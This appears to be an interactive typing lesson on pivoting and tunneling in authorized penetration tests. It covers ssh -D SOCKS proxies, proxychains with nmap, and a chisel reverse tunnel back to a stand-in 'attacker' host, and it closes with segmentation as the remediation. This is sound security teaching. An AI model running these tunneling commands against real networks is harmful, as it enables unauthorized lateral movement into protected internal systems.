Typorithm · hard

Pivoting & Tunneling

pivotingpentestproxychainstunneling

Saved on this device

Full lesson · 8 learning steps Open any exercise for focused practice

Step 1 of 8 · intro card

Learn Pivoting & Tunneling

Privilege Escalation

After gaining a foothold on an authorized engagement, pivoting reaches segmented internal networks through the compromised host. A SOCKS proxy (ssh -D, chisel) plus proxychains routes tools through it. The test measures how far lateral movement reaches, and the remediation is network segmentation.

Once you have a foothold, pivoting turns that host into a relay so your tooling can reach networks the segmentation would otherwise block. ssh -D 1080 opens a dynamic SOCKS proxy through the pivot, and proxychains then routes any tool through it.

When you cannot connect inward but the pivot can connect out, a reverse tunnel like chisel client attacker:8000 R:socks builds the SOCKS path in the other direction. Either way, proxychains nmap -sT lets you scan the internal subnet through the proxy.

The engagement measures how far lateral movement reaches from a single foothold. The remediation is network segmentation: restrict east-west traffic, isolate sensitive subnets, and ensure a compromised host cannot freely route into protected zones.

A foothold becomes a relay via a SOCKS proxy.

proxychains routes tools through the proxy.

Remediation: segment networks to limit lateral movement.

ssh -D 1080 user@pivot
proxychains nmap -sT 10.0.1.0/24
chisel client attacker:8000 R:socks
# reach segmented internal networks via a foothold

Read the implementation

Connect each part of the code to the concept before you type.

1. SOCKS proxy

ssh -D 1080 opens a dynamic SOCKS proxy on the local port through the compromised pivot host.

ssh -D 1080 user@pivot

2. Route a tool

proxychains forces nmap's connections through the SOCKS proxy so a full-connect scan reaches the internal subnet.

proxychains nmap -sT 10.0.1.0/24

3. Reverse tunnel

chisel builds a reverse SOCKS tunnel when an outbound connection from the pivot is the only path available.

chisel client attacker:8000 R:socks

4. The pivot goal

Pivoting uses the compromised host as a relay to reach networks otherwise blocked by segmentation.

# reach segmented internal networks via a foothold

5. Connect scan

-sT is a full TCP connect scan, the type that works correctly when tunneled through a SOCKS proxy.

nmap -sT 10.0.1.0/24

A complete learning loop

Understand

Read the concept map and follow the code breakdown.

Reconstruct

Type the implementation, repair mistakes and work through every recall exercise.

Verify

Use the final check without hints; revisit weak concepts in short practice sessions.